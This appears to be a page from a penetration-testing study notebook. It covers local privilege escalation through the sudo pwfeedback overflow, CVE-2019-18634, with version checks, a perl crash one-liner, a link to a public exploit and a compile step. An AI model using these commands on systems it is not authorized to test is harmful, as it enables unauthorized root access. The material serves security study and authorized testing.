> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/linux-privilege-escalation/sudo/cve-2019-18634-pwfeedback.md).

# CVE-2019-18634 (pwfeedback)

```
sudo su root
su root 
```

If you see \* when typing in a password, that is the **pwfeedback** environment variable being enabled and indicates that machine may be vulnerable

```
sudo -V
```

Any Sudo version older than 1.8.26 is vulnerable

{% embed url="<https://github.com/saleemrashid/sudo-cve-2019-18634>" %}

```
perl -e 'print(("A" x 100 . "\x{00}" x 50)' | sudo -S i
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FUsjjWaeFWcA1rUS8Ulrw%2Fimage.png?alt=media&amp;token=1dfc1dde-9f0c-4f69-a75b-91ec6ab3d7f4" alt=""><figcaption></figcaption></figure>

Compile exploit, upload and run

```
gcc -o bof exploit.c
```
